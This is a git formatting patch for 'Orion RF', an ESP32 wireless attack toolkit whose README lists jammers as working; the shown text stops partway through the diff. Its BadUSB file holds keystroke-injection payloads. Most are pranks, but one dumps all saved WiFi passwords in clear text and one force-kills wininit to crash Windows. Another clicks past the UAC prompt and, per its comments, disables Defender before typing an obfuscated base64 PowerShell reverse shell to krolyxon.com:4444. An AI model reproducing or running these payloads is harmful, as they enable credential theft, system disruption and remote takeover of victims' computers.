From 206ed229198be252a9ae94342b39618aaab55925 Mon Sep 17 00:00:00 2001 From: krolyxon Date: Thu, 14 May 2026 23:14:31 +0530 Subject: [PATCH] apply code formatting --- README.md | 9 +- src/bluetooth/ble_mouse.cpp | 115 ++++---- src/bluetooth/blescanner.cpp | 301 +++++++++---------- src/config.h | 22 +- src/hid/badusb.cpp | 500 +++++++++++++++++--------------- src/main.cpp | 119 ++++---- src/nfc/nfc.cpp | 157 +++++----- src/rf/cc1101.cpp | 539 ++++++++++++++++------------------- src/rf/nrf24.cpp | 349 ++++++++++------------- src/ui/display.cpp | 17 +- src/ui/menu.cpp | 533 ++++++++++++++++------------------ src/utils/buttons.cpp | 17 +- src/utils/sysinfo.cpp | 135 +++++---- src/wifi/wifi_analyzer.cpp | 181 ++++++------ src/wifi/wifi_scan.cpp | 209 +++++++------- 15 files changed, 1510 insertions(+), 1693 deletions(-) diff --git a/README.md b/README.md index cceca35..2e559b0 100644 --- a/README.md +++ b/README.md @@ -27,8 +27,11 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with ## Hardware - ESP32-S3 N16R8 -- 2x NRF24L01 -- 2x CC1101 +- 2x NRF24L01 Module +- 2x CC1101 Module +- PN532 NFC Module +- MicroSD card Module +- TP4056 Charging Module - OLED display - Battery-powered portable setup @@ -43,7 +46,7 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with | BLE Mouse | Working | | BLE Jammer | Working | | Bluetooth Jammer | Working | -| WiFi Jammer | Experimental | +| WiFi Jammer | Working | | RF Capture | WIP | | RF Replay | WIP | | SD Card Support | Planned | diff --git a/src/bluetooth/ble_mouse.cpp b/src/bluetooth/ble_mouse.cpp index 423ea8c..c757eb3 100644 --- a/src/bluetooth/ble_mouse.cpp +++ b/src/bluetooth/ble_mouse.cpp @@ -1,7 +1,7 @@ +#include "../config.h" +#include "../hid/badusb.h" #include #include -#include "../hid/badusb.h" -#include "../config.h" #include "../utils/buttons.h" #include "ui/display.h" @@ -11,64 +11,63 @@ extern BleMouse bleMouse; // ===== MAIN ===== -void ble_mouse_run() -{ +void ble_mouse_run() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(10, 25, "BLE Mouse"); + u8g2.drawStr(10, 45, "Connecting..."); + u8g2.sendBuffer(); + + delay(800); + + while (1) { + // 🔥 EXIT FIRST (clean) + if (btnBack()) + break; + + bool connected = bleMouse.isConnected(); + + int dx = 0; + int dy = 0; + + if (connected) { + if (!digitalRead(BTN_UP)) + dy = -6; + if (!digitalRead(BTN_DOWN)) + dy = 6; + if (!digitalRead(BTN_LEFT)) + dx = -6; + if (!digitalRead(BTN_RIGHT)) + dx = 6; + + if (dx || dy) + bleMouse.move(dx, dy); + + // ✅ single click (not spam) + static bool lastSelect = false; + bool currentSelect = !digitalRead(BTN_SELECT); + + if (currentSelect && !lastSelect) + bleMouse.click(MOUSE_LEFT); + + lastSelect = currentSelect; + } + + // ===== UI ===== u8g2.clearBuffer(); u8g2.setFont(u8g2_font_6x10_tr); - u8g2.drawStr(10, 25, "BLE Mouse"); - u8g2.drawStr(10, 45, "Connecting..."); + + u8g2.drawStr(10, 20, "BLE Mouse"); + + if (connected) + u8g2.drawStr(10, 35, "Connected"); + else + u8g2.drawStr(10, 35, "Waiting"); + + u8g2.drawStr(10, 55, "BACK = Exit"); + u8g2.sendBuffer(); - delay(800); - - while (1) - { - // 🔥 EXIT FIRST (clean) - if (btnBack()) break; - - bool connected = bleMouse.isConnected(); - - int dx = 0; - int dy = 0; - - if (connected) - { - if (!digitalRead(BTN_UP)) dy = -6; - if (!digitalRead(BTN_DOWN)) dy = 6; - if (!digitalRead(BTN_LEFT)) dx = -6; - if (!digitalRead(BTN_RIGHT)) dx = 6; - - if (dx || dy) - bleMouse.move(dx, dy); - - // ✅ single click (not spam) - static bool lastSelect = false; - bool currentSelect = !digitalRead(BTN_SELECT); - - if (currentSelect && !lastSelect) - bleMouse.click(MOUSE_LEFT); - - lastSelect = currentSelect; - } - - // ===== UI ===== - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - - u8g2.drawStr(10, 20, "BLE Mouse"); - - if (connected) - u8g2.drawStr(10, 35, "Connected"); - else - u8g2.drawStr(10, 35, "Waiting"); - - u8g2.drawStr(10, 55, "BACK = Exit"); - - u8g2.sendBuffer(); - - delay(10); // important for BLE stability - } + delay(10); // important for BLE stability + } } - - - diff --git a/src/bluetooth/blescanner.cpp b/src/bluetooth/blescanner.cpp index d637683..8019181 100644 --- a/src/bluetooth/blescanner.cpp +++ b/src/bluetooth/blescanner.cpp @@ -1,20 +1,20 @@ #include +#include #include #include -#include #include -#include "ui/display.h" -#include "../utils/buttons.h" #include "../config.h" +#include "../utils/buttons.h" +#include "ui/display.h" // ===== DEVICE STRUCT ===== struct BLEDeviceInfo { - String name; - String address; - int rssi; - String manufacturer; - String deviceType; + String name; + String address; + int rssi; + String manufacturer; + String deviceType; }; static std::vector devices; @@ -23,187 +23,168 @@ static int selectedIndex = 0; // ===== CALLBACK ===== class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks { - void onResult(BLEAdvertisedDevice advertisedDevice) override { - BLEDeviceInfo dev; + void onResult(BLEAdvertisedDevice advertisedDevice) override { + BLEDeviceInfo dev; - String tempName = advertisedDevice.getName().c_str(); + String tempName = advertisedDevice.getName().c_str(); - if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { - tempName = advertisedDevice.getServiceData().c_str(); - } - - if (tempName.length() == 0) { - String addr = advertisedDevice.getAddress().toString().c_str(); - tempName = "BLE_" + addr.substring(addr.length() - 5); - } - - dev.name = tempName; - dev.address = advertisedDevice.getAddress().toString().c_str(); - dev.rssi = advertisedDevice.getRSSI(); - - if (advertisedDevice.haveManufacturerData()) { - String mData = advertisedDevice.getManufacturerData().c_str(); - - if (mData.length() >= 2) { - char buffer[10]; - sprintf(buffer, "0x%02X%02X", - (uint8_t)mData[1], - (uint8_t)mData[0]); - dev.manufacturer = String(buffer); - } else { - dev.manufacturer = "unknown"; - } - } else { - dev.manufacturer = "unknown"; - } - - if (advertisedDevice.haveServiceUUID()) { - dev.deviceType = - advertisedDevice.getServiceUUID().toString().c_str(); - } else { - dev.deviceType = "unknown"; - } - - devices.push_back(dev); + if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { + tempName = advertisedDevice.getServiceData().c_str(); } + + if (tempName.length() == 0) { + String addr = advertisedDevice.getAddress().toString().c_str(); + tempName = "BLE_" + addr.substring(addr.length() - 5); + } + + dev.name = tempName; + dev.address = advertisedDevice.getAddress().toString().c_str(); + dev.rssi = advertisedDevice.getRSSI(); + + if (advertisedDevice.haveManufacturerData()) { + String mData = advertisedDevice.getManufacturerData().c_str(); + + if (mData.length() >= 2) { + char buffer[10]; + sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]); + dev.manufacturer = String(buffer); + } else { + dev.manufacturer = "unknown"; + } + } else { + dev.manufacturer = "unknown"; + } + + if (advertisedDevice.haveServiceUUID()) { + dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str(); + } else { + dev.deviceType = "unknown"; + } + + devices.push_back(dev); + } }; // ===== DRAW MENU ===== -void ble_drawMenu() -{ - u8g2.clearBuffer(); +void ble_drawMenu() { + u8g2.clearBuffer(); - if (devices.empty()) - { - u8g2.setFont(u8g2_font_6x12_tr); - u8g2.drawStr(0, 30, "No devices"); - u8g2.drawStr(0, 45, "Press BACK"); + if (devices.empty()) { + u8g2.setFont(u8g2_font_6x12_tr); + u8g2.drawStr(0, 30, "No devices"); + u8g2.drawStr(0, 45, "Press BACK"); + } else { + u8g2.setFont(u8g2_font_5x8_tr); + + char counter[20]; + sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); + u8g2.drawStr(0, 8, counter); + + u8g2.setFont(u8g2_font_6x10_tr); + + for (int i = 0; i < 3; i++) { + int idx = selectedIndex + i; + if (idx >= devices.size()) + break; + + int y = 22 + i * 14; + + if (i == 0) { + u8g2.drawBox(0, y - 10, 128, 12); + u8g2.setDrawColor(0); + } + + String text = devices[idx].name; + if (text.length() > 12) + text = text.substring(0, 12) + ".."; + + text += " (" + String(devices[idx].rssi) + ")"; + + u8g2.drawStr(2, y, text.c_str()); + + if (i == 0) + u8g2.setDrawColor(1); } - else - { - u8g2.setFont(u8g2_font_5x8_tr); + } - char counter[20]; - sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); - u8g2.drawStr(0, 8, counter); - - u8g2.setFont(u8g2_font_6x10_tr); - - for (int i = 0; i < 3; i++) - { - int idx = selectedIndex + i; - if (idx >= devices.size()) break; - - int y = 22 + i * 14; - - if (i == 0) - { - u8g2.drawBox(0, y - 10, 128, 12); - u8g2.setDrawColor(0); - } - - String text = devices[idx].name; - if (text.length() > 12) - text = text.substring(0, 12) + ".."; - - text += " (" + String(devices[idx].rssi) + ")"; - - u8g2.drawStr(2, y, text.c_str()); - - if (i == 0) - u8g2.setDrawColor(1); - } - } - - u8g2.sendBuffer(); + u8g2.sendBuffer(); } // ===== DEVICE DETAILS ===== -void ble_drawDetails(const BLEDeviceInfo &dev) -{ - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_5x8_tr); +void ble_drawDetails(const BLEDeviceInfo &dev) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); - u8g2.drawStr(0, 10, dev.name.c_str()); - u8g2.drawStr(0, 20, dev.address.c_str()); + u8g2.drawStr(0, 10, dev.name.c_str()); + u8g2.drawStr(0, 20, dev.address.c_str()); - char rssiStr[20]; - sprintf(rssiStr, "RSSI: %d", dev.rssi); - u8g2.drawStr(0, 30, rssiStr); + char rssiStr[20]; + sprintf(rssiStr, "RSSI: %d", dev.rssi); + u8g2.drawStr(0, 30, rssiStr); - u8g2.drawStr(0, 40, dev.manufacturer.c_str()); + u8g2.drawStr(0, 40, dev.manufacturer.c_str()); - u8g2.sendBuffer(); + u8g2.sendBuffer(); } // ===== SCAN ===== -void ble_scan() -{ - devices.clear(); +void ble_scan() { + devices.clear(); - u8g2.clearBuffer(); - u8g2.drawStr(10, 30, "Scanning..."); - u8g2.sendBuffer(); + u8g2.clearBuffer(); + u8g2.drawStr(10, 30, "Scanning..."); + u8g2.sendBuffer(); - BLEDevice::init(""); + BLEDevice::init(""); - pBLEScan = BLEDevice::getScan(); - pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false); - pBLEScan->setActiveScan(true); - pBLEScan->setInterval(100); - pBLEScan->setWindow(99); + pBLEScan = BLEDevice::getScan(); + pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), + false); + pBLEScan->setActiveScan(true); + pBLEScan->setInterval(100); + pBLEScan->setWindow(99); - pBLEScan->start(5, false); + pBLEScan->start(5, false); - // remove duplicates - std::vector unique; - for (auto &d : devices) - { - bool exists = false; - for (auto &u : unique) - { - if (u.address == d.address) - { - exists = true; - break; - } - } - if (!exists) unique.push_back(d); + // remove duplicates + std::vector unique; + for (auto &d : devices) { + bool exists = false; + for (auto &u : unique) { + if (u.address == d.address) { + exists = true; + break; + } } + if (!exists) + unique.push_back(d); + } - devices = unique; + devices = unique; } // ===== MAIN LOOP ===== -void ble_loop() -{ - static uint32_t lastPress = 0; +void ble_loop() { + static uint32_t lastPress = 0; - if (millis() - lastPress < 200) - return; + if (millis() - lastPress < 200) + return; - if (btnDown() && selectedIndex < (int)devices.size() - 1) - { - selectedIndex++; - ble_drawMenu(); - lastPress = millis(); - } - else if (btnUp() && selectedIndex > 0) - { - selectedIndex--; - ble_drawMenu(); - lastPress = millis(); - } - else if (btnSelect() && !devices.empty()) - { - ble_drawDetails(devices[selectedIndex]); - delay(3000); - ble_drawMenu(); - lastPress = millis(); - } - else if (btnBack()) - { - lastPress = millis(); - return; - } + if (btnDown() && selectedIndex < (int)devices.size() - 1) { + selectedIndex++; + ble_drawMenu(); + lastPress = millis(); + } else if (btnUp() && selectedIndex > 0) { + selectedIndex--; + ble_drawMenu(); + lastPress = millis(); + } else if (btnSelect() && !devices.empty()) { + ble_drawDetails(devices[selectedIndex]); + delay(3000); + ble_drawMenu(); + lastPress = millis(); + } else if (btnBack()) { + lastPress = millis(); + return; + } } diff --git a/src/config.h b/src/config.h index 3cb47b5..d5f46a6 100644 --- a/src/config.h +++ b/src/config.h @@ -18,24 +18,19 @@ /////////////////cc1101 vars////////////// // CC1101 via FSPI #define cc1101_SCK 15 -#define cc1101_MISO 3 +#define cc1101_MISO 41 #define cc1101_MOSI 35 //////////////cc1101(1)////////// -#define CC1101_CS 45 -#define CC1101_GDO0 21 -#define CC1101_GDO2 47 - -/////////////cc1101(2)////////// -#define CC1101_2_CS 40 -#define CC1101_2_GDO0 41 -#define CC1101_2_GDO2 42 +#define CC1101_CS 40 +#define CC1101_GDO0 39 +#define CC1101_GDO2 42 // SD Card via HSPI -#define SD_SCK 14 -#define SD_MISO 39 -#define SD_MOSI 38 -#define SD_CS 37 +//#define SD_SCK 14 +//#define SD_MISO 39 +//#define SD_MOSI 38 +//#define SD_CS 37 // =================== Buttons ==================== @@ -45,4 +40,3 @@ #define BTN_BACK 7 #define BTN_LEFT 1 #define BTN_RIGHT 2 - diff --git a/src/hid/badusb.cpp b/src/hid/badusb.cpp index b724a59..71010bb 100644 --- a/src/hid/badusb.cpp +++ b/src/hid/badusb.cpp @@ -1,6 +1,6 @@ +#include "../ui/display.h" #include #include -#include "../ui/display.h" extern USBHIDKeyboard Keyboard; @@ -56,332 +56,366 @@ void showRunningScreen(String taskName, uint8_t duration = 5) { } } -void typeSlow(const char *text, int delayMs = 25) -{ - while (*text) - { - Keyboard.print(*text); - delay(delayMs); - text++; - } +void typeSlow(const char *text, int delayMs = 25) { + while (*text) { + Keyboard.print(*text); + delay(delayMs); + text++; + } } void badUSBMenu(int index) { - //switch (index) - // { - // case 0: - // runBadUSBDemo(); - // break; + // switch (index) + // { + // case 0: + // runBadUSBDemo(); + // break; - // case 1: - // Serial.println("Open CMD payload"); - // runBadUSBOpenCMD(); - // break; + // case 1: + // Serial.println("Open CMD payload"); + // runBadUSBOpenCMD(); + // break; - // case 2: - // Serial.println("Rickroll payload"); - // runBadUSBRickroll(); - // break; - // } + // case 2: + // Serial.println("Rickroll payload"); + // runBadUSBRickroll(); + // break; + // } + switch (index) { + // ================= ORION DEMO ================= + case 0: + showRunningScreen("ORION Demo"); - switch(index) -{ - // ================= ORION DEMO ================= - case 0: - showRunningScreen("ORION Demo"); + runCommand("notepad"); - runCommand("notepad"); + delay(2500); - delay(2500); + typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ "); + Keyboard.write(KEY_RETURN); - typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ "); - Keyboard.write(KEY_RETURN); + typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|"); + Keyboard.write(KEY_RETURN); - typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|"); - Keyboard.write(KEY_RETURN); + typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ "); + Keyboard.write(KEY_RETURN); - typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ "); - Keyboard.write(KEY_RETURN); + typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| "); + Keyboard.write(KEY_RETURN); - typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| "); - Keyboard.write(KEY_RETURN); + typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | "); + Keyboard.write(KEY_RETURN); - typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | "); - Keyboard.write(KEY_RETURN); + typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| "); + Keyboard.write(KEY_RETURN); - typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| "); - Keyboard.write(KEY_RETURN); + Keyboard.write(KEY_RETURN); - Keyboard.write(KEY_RETURN); + typeSlow("[+] WIFI MODULE READY"); + Keyboard.write(KEY_RETURN); - typeSlow("[+] WIFI MODULE READY"); - Keyboard.write(KEY_RETURN); + typeSlow("[+] BLE MODULE READY"); + Keyboard.write(KEY_RETURN); - typeSlow("[+] BLE MODULE READY"); - Keyboard.write(KEY_RETURN); + typeSlow("[+] SUBGHZ MODULE READY"); + Keyboard.write(KEY_RETURN); - typeSlow("[+] SUBGHZ MODULE READY"); - Keyboard.write(KEY_RETURN); + typeSlow("[+] NFC MODULE READY"); + Keyboard.write(KEY_RETURN); - typeSlow("[+] NFC MODULE READY"); - Keyboard.write(KEY_RETURN); + typeSlow("[+] HID ENGINE READY"); + Keyboard.write(KEY_RETURN); - typeSlow("[+] HID ENGINE READY"); - Keyboard.write(KEY_RETURN); + break; - break; + // ================= RICKROLL ================= + case 1: + showRunningScreen("RickRoll"); - // ================= RICKROLL ================= - case 1: - showRunningScreen("RickRoll"); + runCommand("cmd"); - runCommand("cmd"); + delay(700); - delay(700); + typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); + Keyboard.write(KEY_RETURN); - typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); - Keyboard.write(KEY_RETURN); + break; - break; + // ================= MATRIX ================= + case 2: + showRunningScreen("Matrix"); - // ================= MATRIX ================= - case 2: - showRunningScreen("Matrix"); + runCommand("cmd"); - runCommand("cmd"); + delay(700); - delay(700); + typeSlow("color 0A"); + Keyboard.write(KEY_RETURN); - typeSlow("color 0A"); - Keyboard.write(KEY_RETURN); + typeSlow("mode con: cols=120 lines=40"); + Keyboard.write(KEY_RETURN); - typeSlow("mode con: cols=120 lines=40"); - Keyboard.write(KEY_RETURN); + typeSlow(":A"); + Keyboard.write(KEY_RETURN); - typeSlow(":A"); - Keyboard.write(KEY_RETURN); + typeSlow("echo %random%%random%%random%%random%%random%"); + Keyboard.write(KEY_RETURN); - typeSlow("echo %random%%random%%random%%random%%random%"); - Keyboard.write(KEY_RETURN); + typeSlow("goto A"); + Keyboard.write(KEY_RETURN); - typeSlow("goto A"); - Keyboard.write(KEY_RETURN); + break; - break; + // ================= FAKE TERMINAL ================= + case 3: + showRunningScreen("Fake Terminal"); - // ================= FAKE TERMINAL ================= - case 3: - showRunningScreen("Fake Terminal"); + runCommand("cmd"); - runCommand("cmd"); + delay(700); - delay(700); + typeSlow("color 0A"); + Keyboard.write(KEY_RETURN); - typeSlow("color 0A"); - Keyboard.write(KEY_RETURN); + typeSlow("cls"); + Keyboard.write(KEY_RETURN); - typeSlow("cls"); - Keyboard.write(KEY_RETURN); + typeSlow("echo CONNECTING TO TARGET..."); + Keyboard.write(KEY_RETURN); - typeSlow("echo CONNECTING TO TARGET..."); - Keyboard.write(KEY_RETURN); + typeSlow("echo BYPASSING FIREWALL..."); + Keyboard.write(KEY_RETURN); - typeSlow("echo BYPASSING FIREWALL..."); - Keyboard.write(KEY_RETURN); + typeSlow("echo ACCESS GRANTED"); + Keyboard.write(KEY_RETURN); - typeSlow("echo ACCESS GRANTED"); - Keyboard.write(KEY_RETURN); + typeSlow("systeminfo"); + Keyboard.write(KEY_RETURN); - typeSlow("systeminfo"); - Keyboard.write(KEY_RETURN); - - break; + break; // ================= WIFI CRACK ================= -// ================= WIFI PASSWORD RECOVERY ================= - case 4: - showRunningScreen("WiFi Recovery"); + // ================= WIFI PASSWORD RECOVERY ================= + case 4: + showRunningScreen("WiFi Recovery"); - runCommand("cmd"); - delay(700); + runCommand("cmd"); + delay(700); - // Styling the window - typeSlow("color 0A && mode con: cols=100 lines=30"); - Keyboard.write(KEY_RETURN); - delay(200); + // Styling the window + typeSlow("color 0A && mode con: cols=100 lines=30"); + Keyboard.write(KEY_RETURN); + delay(200); - typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES..."); - Keyboard.write(KEY_RETURN); - delay(500); + typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES..."); + Keyboard.write(KEY_RETURN); + delay(500); - // The "Magic" Command: - // This lists all profiles and shows the 'Key Content' (the password) in clear text. - // We use a 'for' loop to automate this for every network the PC has ever joined. - typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\""); + // The "Magic" Command: + // This lists all profiles and shows the 'Key Content' (the password) in + // clear text. We use a 'for' loop to automate this for every network the PC + // has ever joined. + typeSlow( + "for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr " + "/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" " + "key=clear | findstr /C:\"Key Content\" /C:\"SSID name\""); - Keyboard.write(KEY_RETURN); + Keyboard.write(KEY_RETURN); - // Optional: Keep the window open to read the results - typeSlow("echo. && echo [COMPLETE] Passwords listed above."); - Keyboard.write(KEY_RETURN); + // Optional: Keep the window open to read the results + typeSlow("echo. && echo [COMPLETE] Passwords listed above."); + Keyboard.write(KEY_RETURN); - break; + break; - // ================= FAKE UPDATE ================= - case 5: - showRunningScreen("Fake Update"); + // ================= FAKE UPDATE ================= + case 5: + showRunningScreen("Fake Update"); - runCommand("cmd"); + runCommand("cmd"); - delay(700); + delay(700); - typeSlow("start https://fakeupdate.net/win10u/"); - Keyboard.write(KEY_RETURN); + typeSlow("start https://fakeupdate.net/win10u/"); + Keyboard.write(KEY_RETURN); - break; + break; - // ================= FAKE BSOD ================= - case 6: - showRunningScreen("Critical Error"); + // ================= FAKE BSOD ================= + case 6: + showRunningScreen("Critical Error"); - runCommand("powershell -c \"stop-process -name wininit -force\""); - break; + runCommand("powershell -c \"stop-process -name wininit -force\""); + break; - // ================= GLITCH SCREEN ================= - case 7: - showRunningScreen("Glitch"); + // ================= GLITCH SCREEN ================= + case 7: + showRunningScreen("Glitch"); - runCommand("cmd"); + runCommand("cmd"); - delay(700); + delay(700); - for(int i = 0; i < 20; i++) - { - typeSlow("color 4F"); - Keyboard.write(KEY_RETURN); + for (int i = 0; i < 20; i++) { + typeSlow("color 4F"); + Keyboard.write(KEY_RETURN); - typeSlow("color 1F"); - Keyboard.write(KEY_RETURN); + typeSlow("color 1F"); + Keyboard.write(KEY_RETURN); - typeSlow("cls"); - Keyboard.write(KEY_RETURN); - } + typeSlow("cls"); + Keyboard.write(KEY_RETURN); + } - break; + break; - // ================= ASCII SPAM ================= - case 8: - showRunningScreen("ASCII"); + // ================= ASCII SPAM ================= + case 8: + showRunningScreen("ASCII"); - runCommand("notepad"); + runCommand("notepad"); - delay(2000); + delay(2000); - for(int i = 0; i < 15; i++) - { - typeSlow("######### ORION-RF #########"); - Keyboard.write(KEY_RETURN); + for (int i = 0; i < 15; i++) { + typeSlow("######### ORION-RF #########"); + Keyboard.write(KEY_RETURN); - typeSlow(">>> SIGNAL ACQUIRED <<<"); - Keyboard.write(KEY_RETURN); + typeSlow(">>> SIGNAL ACQUIRED <<<"); + Keyboard.write(KEY_RETURN); - typeSlow("[|||||||||||||||||||||||||]"); - Keyboard.write(KEY_RETURN); + typeSlow("[|||||||||||||||||||||||||]"); + Keyboard.write(KEY_RETURN); - Keyboard.write(KEY_RETURN); - } + Keyboard.write(KEY_RETURN); + } - break; + break; - // ================= HACKER TYPER ================= - case 9: - showRunningScreen("Hacker Typer"); + // ================= HACKER TYPER ================= + case 9: + showRunningScreen("Hacker Typer"); - runCommand("cmd"); + runCommand("cmd"); - delay(700); + delay(700); - typeSlow("start https://hackertyper.net/"); - Keyboard.write(KEY_RETURN); + typeSlow("start https://hackertyper.net/"); + Keyboard.write(KEY_RETURN); - break; -// ================= POWERSHELL REVERSE SHELL ================= -// ================= DEFENDER BYPASS + NC ================= - case 10: - showRunningScreen("Pwn Mode v2"); + break; + // ================= POWERSHELL REVERSE SHELL ================= + // ================= DEFENDER BYPASS + NC ================= + case 10: + showRunningScreen("Pwn Mode v2"); - // 1. Open Admin PowerShell - Keyboard.press(KEY_LEFT_GUI); - Keyboard.press('r'); - delay(150); - Keyboard.releaseAll(); - delay(500); + // 1. Open Admin PowerShell + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(150); + Keyboard.releaseAll(); + delay(500); - // Open Admin Prompt - using 'powershell' directly to save space - typeSlow("powershell Start-Process powershell -Verb runAs"); - Keyboard.write(KEY_RETURN); - delay(2500); // Wait for UAC + // Open Admin Prompt - using 'powershell' directly to save space + typeSlow("powershell Start-Process powershell -Verb runAs"); + Keyboard.write(KEY_RETURN); + delay(2500); // Wait for UAC - // 2. Bypass UAC (Left Arrow + Enter) - Keyboard.write(KEY_LEFT_ARROW); - delay(200); - Keyboard.write(KEY_RETURN); - delay(3000); // Give the Admin window time to load + // 2. Bypass UAC (Left Arrow + Enter) + Keyboard.write(KEY_LEFT_ARROW); + delay(200); + Keyboard.write(KEY_RETURN); + delay(3000); // Give the Admin window time to load - // 3. AMSI Bypass + Disable Defender + Execute Shell - // We use -EncodedCommand to hide the script from simple string scanners. - // The Base64 string below contains: - // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic] + // 3. AMSI Bypass + Disable Defender + Execute Shell + // We use -EncodedCommand to hide the script from simple string scanners. + // The Base64 string below contains: + // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic] - typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "); + typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden " + "-EncodedCommand "); - // This is the encoded payload for krolyxon.com:4444 - typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA" - "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A" - "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA" - "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw" - "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL" - "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB" - "kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK" - "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd" - "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB" - "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA="); + // This is the encoded payload for krolyxon.com:4444 + typeSlow( + "JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG" + "UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0" + "AHIAaQBuAGcAKAAiAEgA" + "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb" + "QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI" + "AbwBsAHkAeABvAG4A" + "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG" + 